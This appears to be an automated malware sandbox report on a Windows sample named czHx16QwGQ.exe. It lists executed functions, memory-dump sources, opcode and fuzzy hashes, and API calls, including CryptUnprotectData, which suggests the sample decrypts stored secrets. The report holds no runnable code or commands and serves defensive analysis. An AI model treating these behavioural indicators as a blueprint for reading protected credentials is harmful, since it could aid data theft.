Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: czHx16QwGQ.exePID: 5296, Parent PID: 1976COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	272
Total number of Limit Nodes:	15

Executed Functions

Function 3836D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3836DA45

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 0f7a32a44c60d2be2de340e62e747b709ce7b0c28f414594f575a4232aeb0fa5
Instruction ID: 4b8b1f31ea32f2944b420b695b6332d42d54d3aea07275585dcb1d7b462aa26e
Opcode Fuzzy Hash: 0f7a32a44c60d2be2de340e62e747b709ce7b0c28f414594f575a4232aeb0fa5
Instruction Fuzzy Hash: 6C1137B68002499FDB10CFA9C845BEEBFF5EF88320F148419E954A7210C379A551DFA5

Function 3836D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3836DA45

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: d32919c7dac28b111fefc8d2e48216eceb91d1a16b044899479e6839e2b8802d
Instruction ID: 5b9eda545fcea417430a9dc93d162b0d48915d69314206a95647f6fe55db3a4a
Opcode Fuzzy Hash: d32919c7dac28b111fefc8d2e48216eceb91d1a16b044899479e6839e2b8802d
Instruction Fuzzy Hash: CC1114768043499FDB10CF9AC845BEEBBF4EF88320F148419E658A7250C779A950DFA5

Function 38360C1B Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

5, xrefs: 38360C99

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-1319679454
Opcode ID: 14f60693f3c67bbf05a1d8068baed6b82ae114626b9c23f01fd387df84728c43
Instruction ID: 110873692401e2709b9d326bfc3f166c694bf840400c134750e33655f92451be
Opcode Fuzzy Hash: 14f60693f3c67bbf05a1d8068baed6b82ae114626b9c23f01fd387df84728c43
Instruction Fuzzy Hash: 9AA10374D002088FEB10DFA8C8947DDBBB1BF89314F20826AE448BB395DB755985CF55

Function 38360C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

5, xrefs: 38360C99

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-1319679454
Opcode ID: 918355b3f7c560c366882ebd3d81ce5111678eee138bcf5541f84484268b08f9
Instruction ID: 74e21d48c2fbae3af194a92544df430a15cc1afce22f2b523a8fac9d217a380c
Opcode Fuzzy Hash: 918355b3f7c560c366882ebd3d81ce5111678eee138bcf5541f84484268b08f9
Instruction Fuzzy Hash: 60A1F174D002088FEB14DFA8C894BDDBBB1BF89314F208269E418BB395DB759985CF55

Function 38F4A360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F4A640

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: ce0eca43cd54e051749e4492605949b4ebade96c07ff78f9108951a649b49485
Instruction ID: 37a5f21f5aedd867ed06e594403cb3aeeffcc3815820ac5527db1806dab20e36
Opcode Fuzzy Hash: ce0eca43cd54e051749e4492605949b4ebade96c07ff78f9108951a649b49485
Instruction Fuzzy Hash: A4A180B5E01228CFEB18CF6AC945B9DBBF2AF89300F14C5AAD408B7255DB345A85CF51

Function 38F49D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F49FF0

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: bf50d21b6f0c4f6b32786fb8ee5ce05ebafff76b807cdc0890eb15008cd86677
Instruction ID: c0be668628d665d9aae16784a52d4aca763aae98e0ea3e55805b6462322e727c
Opcode Fuzzy Hash: bf50d21b6f0c4f6b32786fb8ee5ce05ebafff76b807cdc0890eb15008cd86677
Instruction Fuzzy Hash: 9EA191B5E01218CFEB18CF6AC944B9DBBF2AF89300F14C5AAD40CA7255DB345A85CF50

Function 38F4A9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F4AC8B

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: 4ba0e4991231e2234cf9510160b80f2985f64fff6d2392e2255abb01c6c444c2
Instruction ID: 7aedbe63bf3dcf094b7a0b20edefcda8d3e192c4760fccc0860299bb1d4b5116
Opcode Fuzzy Hash: 4ba0e4991231e2234cf9510160b80f2985f64fff6d2392e2255abb01c6c444c2
Instruction Fuzzy Hash: 12A192B5E01228CFEB58CF6AC945B9DBBF2AF89300F14C5AAD408B7255DB345A85CF50

Function 38F496C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F499A4

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: 1d890d9ac1e3683d2bfac182d22decd996c0b0a1840e6d972c416e289a746c7d
Instruction ID: f2a7e7d20b6f3b42a286a0dbbc243d2bdd8b6325e790d3fcb12ffe73cf07b6df
Opcode Fuzzy Hash: 1d890d9ac1e3683d2bfac182d22decd996c0b0a1840e6d972c416e289a746c7d
Instruction Fuzzy Hash: FDA1A2B5E05218CFEB14CF6AC944B9DBBF2AF89300F14C5AAD408A7265DB345A85CF50

Function 38F4A9A0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F4AC8B

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: fef05c945dc0e91721f2693e51502063b38c4fc3168e2bc86297d86f995ba8ac
Instruction ID: 32c381ddc9045f3a785b3fc4bda0eeafb787aa92acdbed2808bf468d56b315fb
Opcode Fuzzy Hash: fef05c945dc0e91721f2693e51502063b38c4fc3168e2bc86297d86f995ba8ac
Instruction Fuzzy Hash: 9E71A4B5E016188FEB58CF66C945B9DBBF2AF89200F14C5AAD40DA7255DB344A86CF10

Function 38F496B8 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

0^78, xrefs: 38F499A4

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: 0^78
API String ID: 0-256392365
Opcode ID: 5ee2df22ecab144f1fca6a1f6167621f52fd39163a409f55ea3523bbcd852c75
Instruction ID: eae92ad8ee8fbed397ca3e4a28ac369191c14ea2d4d65a940e5fd08ff3664afe
Opcode Fuzzy Hash: 5ee2df22ecab144f1fca6a1f6167621f52fd39163a409f55ea3523bbcd852c75
Instruction Fuzzy Hash: F27184B5E01618CFEB58CF66C944B9EBBF2AF89300F14C5AAD40CA7265DB344A85CF51

Function 00168DF8 Relevance: 1.1, Instructions: 1083COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313621889ad0012182189c1ac03f312232cd993baaf29af268fdae45bd36a5bd
Instruction ID: 703a92bc1bc408736d79e92bc8ad4f739b32d99eb3de054672a53f93c7d09387
Opcode Fuzzy Hash: 313621889ad0012182189c1ac03f312232cd993baaf29af268fdae45bd36a5bd
Instruction Fuzzy Hash: 31926D70A04209DFCB15CFA8C994AAEBBF6BF88310F15855AE405DB361DB35ED61CB90

Function 00165978 Relevance: .9, Instructions: 919COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bd49d9b00296432f92d1718cad8b10e680b5dda8563d6e3525959891e336d9
Instruction ID: 8f4695aca4176f3be04a7f1b8bbfaf4cf68a483bd19feb8d343293a255136362
Opcode Fuzzy Hash: 38bd49d9b00296432f92d1718cad8b10e680b5dda8563d6e3525959891e336d9
Instruction Fuzzy Hash: 56725E70A002199FDB14DFA9C894AAEBBF6FF89300F158169E805EB3A1DB34DD51DB50

Function 3947E790 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b060054ecfb75d3354559e2a934eed2409c7f5d26d21bdd867323d07eb119a77
Instruction ID: d134741a289488ea84310044db1545d763763e7f2b1b7cb3ae76f875875815b8
Opcode Fuzzy Hash: b060054ecfb75d3354559e2a934eed2409c7f5d26d21bdd867323d07eb119a77
Instruction Fuzzy Hash: 1982D374A01228CFDB65DF64C855BA9BBB2FF8A300F5081E9D809A7350DB359E92DF50

Function 38F4BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67182f317959e6c222e2ce64627c7a2d37a2e2b7a6b4a7547be784d948e0c81f
Instruction ID: 92befef36f908d3253f99ecce8a0f8fa39d0d0ae18337bf0c229325a750b39aa
Opcode Fuzzy Hash: 67182f317959e6c222e2ce64627c7a2d37a2e2b7a6b4a7547be784d948e0c81f
Instruction Fuzzy Hash: 1B72E474A01228CFDB64DF64C955B99BBB2FF8A301F5081E9D80AA7350CB359E92DF50

Function 38F48650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c61e4267952a6b85383f47ed46597483c1e2b4c9eb3e1454fd0dffd1e693b7
Instruction ID: 07012b816f0d7e44f6d05e2692bfd78111249d147f99cff49231bef6694f76fe
Opcode Fuzzy Hash: 58c61e4267952a6b85383f47ed46597483c1e2b4c9eb3e1454fd0dffd1e693b7
Instruction Fuzzy Hash: 0672A074E01229CFEB64DF69C984BD9BBB2BB49300F5085EAD409A7351DB349E82CF50

Function 3836C638 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 943dbe78dcce462129445cde6e35a909ff83008c5978d26041f18b5dac9bc1ff
Instruction ID: 3cf0ddaca0a3c42a35d6e69e7d89160f314c9960a7c640b8b6ef380ddec4ad01
Opcode Fuzzy Hash: 943dbe78dcce462129445cde6e35a909ff83008c5978d26041f18b5dac9bc1ff
Instruction Fuzzy Hash: 7DE1E274E01218CFEB54DFA9C984B9DBBB2BF89304F6080A9D409B7395DB355A86CF10

Function 383603AF Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bff8456d884e3d63f52a6293f365855f356a0c3c30bc3a94a7306874892565d
Instruction ID: 2dfa3f37d3060873e6fdc2a90a596234980f1c44c27ae42943d5209c5a77cf02
Opcode Fuzzy Hash: 3bff8456d884e3d63f52a6293f365855f356a0c3c30bc3a94a7306874892565d
Instruction Fuzzy Hash: 48D1DF74E01218CFEB54DFA9C895B9DBBB2BF89305F5080A9D809B7355DB355A82CF10

Function 38360F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746866555.0000000038360000.00000040.00000800.00020000.00000000.sdmp, Offset: 38360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38360000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00eef84e4108f1204a1e6370481c1a8ccdfae90231e128712663536a10346565
Instruction ID: f518ccc20a870b32be6da0fa0e44a936e0cbf0cd1643455df6a2fd296d1700a7
Opcode Fuzzy Hash: 00eef84e4108f1204a1e6370481c1a8ccdfae90231e128712663536a10346565
Instruction Fuzzy Hash: C191DD74900208CFEB10DFA8C898B9CBBB1BF49314F20926AE449BB395DB759985CF54

Function 38F4BA97 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2bcbeafaceaaa42addc5206757e16d614b312b50054bc8fb03258e5a37f5004
Instruction ID: b6a4cbe57ab62fb1e91e7d269a6f036ee961dbac1f927dc9e6933567aa28727e
Opcode Fuzzy Hash: e2bcbeafaceaaa42addc5206757e16d614b312b50054bc8fb03258e5a37f5004
Instruction Fuzzy Hash: 0E81C475E01208CBEB14DFE9D99069DBBF2FF88310F24852AD818AB359DB359946CF50

Function 00164338 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1786a9d1d46ffdc9e2fc1cb1d5893744cf48ac57868d5548d16e269d32239b1a
Instruction ID: ab852747672582c271ffdac137610769d6c0e70107756ffa01d2e7735e3c1569
Opcode Fuzzy Hash: 1786a9d1d46ffdc9e2fc1cb1d5893744cf48ac57868d5548d16e269d32239b1a
Instruction Fuzzy Hash: 4681C474E00218DFEB18DFA9D884A9DBBF2BF89300F14D169E819AB365DB349951CF50

Function 38F48640 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 159ee2a73f3029adb968422c078497db51f8a5694836298a2e3727440cc3f0ab
Instruction ID: e9a63db18a5fecfc5dbe34cbbb8342887fbcbebf46230d3a2b44613f566908ae
Opcode Fuzzy Hash: 159ee2a73f3029adb968422c078497db51f8a5694836298a2e3727440cc3f0ab
Instruction Fuzzy Hash: B771D575E02228CFDB64CF66C9847DDBBB2BF89301F1095AAD408A7350DB349A86CF40

Function 3947F2DE Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2551143b1a6cbdcd142e39d18bbd08f72b11172d93270752f8836e0e851074a7
Instruction ID: 12267750d1ab5bb2222f4f5a966e19ef2abf1dd7326bae08e1e295c9ce37a8f0
Opcode Fuzzy Hash: 2551143b1a6cbdcd142e39d18bbd08f72b11172d93270752f8836e0e851074a7
Instruction Fuzzy Hash: 3D612634A40219CFEB65DFA4C855BADFBB2FB88300F5080A9990A67751DB355E92EF10

Function 38F4A352 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1013963550ded45d6c1e62de765fb40b6d940835cb5bdf1f18a0889ef78b8ba
Instruction ID: cd8e03dcd615d70e2ce11ba084d87224f3f122204b31ca95e322be0524fa0b77
Opcode Fuzzy Hash: f1013963550ded45d6c1e62de765fb40b6d940835cb5bdf1f18a0889ef78b8ba
Instruction Fuzzy Hash: 7A4149B1D016188BEB58CF6BC9457CAFAF3AFC9200F14C1AAD54CA7265DB740A868F51

Function 38F49D00 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 405beb071f705e252abe7e66486866a7e80a6ae01e0af8907fa9359600d26c37
Instruction ID: 97f8917c6e6b5a3a11c84d963e0fbbf5e038f4f336d9774e2ee3a76639d879e5
Opcode Fuzzy Hash: 405beb071f705e252abe7e66486866a7e80a6ae01e0af8907fa9359600d26c37
Instruction Fuzzy Hash: C8417CB1E016188FEB58CF67C945799FAF3AFC9200F14C1AAC50CA7265DB7409868F50

Function 39470978 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 394709FE
GetCurrentThread.KERNEL32 ref: 39470A3B
GetCurrentProcess.KERNEL32 ref: 39470A78
GetCurrentThreadId.KERNEL32 ref: 39470AD1

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: dfd554930a422734324dfee812b3d76976d961d2e90f59f0292bbb8e16e080b9
Instruction ID: a398ab87dccc2fc2ab5472f73d6b1338b640f8f2354fdb55ac8cb4374ff5421a
Opcode Fuzzy Hash: dfd554930a422734324dfee812b3d76976d961d2e90f59f0292bbb8e16e080b9
Instruction Fuzzy Hash: BD5155B49013498FDB44DFAAC548BDEBBF1BF88310F208559E419A7361DB789940CFA5

Function 39470980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 394709FE
GetCurrentThread.KERNEL32 ref: 39470A3B
GetCurrentProcess.KERNEL32 ref: 39470A78
GetCurrentThreadId.KERNEL32 ref: 39470AD1

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ec5b4d0e908f908993ca0b52a1d0d0bea1655e9a6d3d256930117f603398b207
Instruction ID: cab1e3eccb36e7734958ced06afb36b2f241199fdc6bd66939a764b55b1bab0e
Opcode Fuzzy Hash: ec5b4d0e908f908993ca0b52a1d0d0bea1655e9a6d3d256930117f603398b207
Instruction Fuzzy Hash: 935155B49013098FDB44DFAAC548BDEBBF5BF88310F208519E419A7351DB78A940CFA5

Function 38F47920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C78, xrefs: 38F47AEB
<C78, xrefs: 38F47B22
<C78, xrefs: 38F479D4

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: <C78$<C78$<C78
API String ID: 0-1257147001
Opcode ID: 1bb9aa093fcb9cac93f13c59c40bd1076fcdf465b094b77cc6cca34ae716f577
Instruction ID: 7ef6b59e77d956dd5584ec4df66ebc8fecec542104559db73108a458cab73feb
Opcode Fuzzy Hash: 1bb9aa093fcb9cac93f13c59c40bd1076fcdf465b094b77cc6cca34ae716f577
Instruction Fuzzy Hash: B151DF74D01318CFEB14DFA5C854BADBBB2BF89301F608529E809AB354DB396A56DF40

Function 394701C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 39470222

Strings

0, xrefs: 3947020A

Memory Dump Source

Source File: 00000005.00000002.2747576107.0000000039470000.00000040.00000800.00020000.00000000.sdmp, Offset: 39470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39470000_czHx16QwGQ.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: ea89f19b70310c081ff21b497aafcfa807d517646de8a62b9c8b1438f0f62f79
Instruction ID: e910b17d9bcd2855de17c6cdcb38c6ddb22edc0bd5f2c921e11619f9f9f3dc66
Opcode Fuzzy Hash: ea89f19b70310c081ff21b497aafcfa807d517646de8a62b9c8b1438f0f62f79
Instruction Fuzzy Hash: 2E21D07580130CEFEF01DF94D884ADEBBB5BF48314F208109E914AB260CB76A845CF60

Function 38F4FAB0 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hG;6, xrefs: 38F4FB61
g78, xrefs: 38F4FAD1

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: hG;6$g78
API String ID: 0-1187161832
Opcode ID: b27588d77ca300204befb93271c46435bfc6efaaf94ba5685c62b22b726339ab
Instruction ID: 8ea5d6d547c5f28405881b591095f2d41d5bc222865ec22923646359ba8a61bb
Opcode Fuzzy Hash: b27588d77ca300204befb93271c46435bfc6efaaf94ba5685c62b22b726339ab
Instruction Fuzzy Hash: 1971E575E01259CFDB05DFB5C9589ADBBB6FF89301F20852AE406AB350DB399942CF80

Function 38F4DD30 Relevance: 2.7, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J;6, xrefs: 38F4DF57
K;6, xrefs: 38F4DD65

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: J;6$K;6
API String ID: 0-1544466345
Opcode ID: 0ff03632b21c9be8ad63c49e7a1ddd964de4e49b9f9d8a823af7a0c54133e18c
Instruction ID: 88fb76ff4dd94b5543f9a47e604bb410616959d4711c66c3a0eef2eda58facff
Opcode Fuzzy Hash: 0ff03632b21c9be8ad63c49e7a1ddd964de4e49b9f9d8a823af7a0c54133e18c
Instruction Fuzzy Hash: B46173B4B05345CAEB00EFB1D85879D7FF6EF45388F45486AD401AB281EBB9C586CB60

Function 38F4FAA1 Relevance: 2.6, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hG;6, xrefs: 38F4FB61
g78, xrefs: 38F4FAD1

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: hG;6$g78
API String ID: 0-1187161832
Opcode ID: 76027c762573bdae5aa8b07fdbca73ff00ea8f6755bb2f98e711d37090b58305
Instruction ID: b3516dceb7068e362ca1a6d37c29c04fb9dfe194ed526c19f717d22914449d10
Opcode Fuzzy Hash: 76027c762573bdae5aa8b07fdbca73ff00ea8f6755bb2f98e711d37090b58305
Instruction Fuzzy Hash: F3316A79E00319CFDB09DBB5C4546ADBBF2AF89240F14892ED406EB350EB399842CF50

Function 38F47911 Relevance: 2.6, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C78, xrefs: 38F47AEB
<C78, xrefs: 38F47B22

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID: <C78$<C78
API String ID: 0-1217796500
Opcode ID: d97f1238d0ce5b36d295b2e8e2bd865c67a9e53fa956ae2cadccb9a617fc414f
Instruction ID: 2bf2cf6d1784cb4d6f839929702725255dbe40bb37c748fe57bb94923a59e8c7
Opcode Fuzzy Hash: d97f1238d0ce5b36d295b2e8e2bd865c67a9e53fa956ae2cadccb9a617fc414f
Instruction Fuzzy Hash: D23103B4D01318DEEB04DFA1D4447EEBBB2AF89304F50886AD414BB254DB79568ACB50

Function 39471DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39471E81

Memory Dump Source

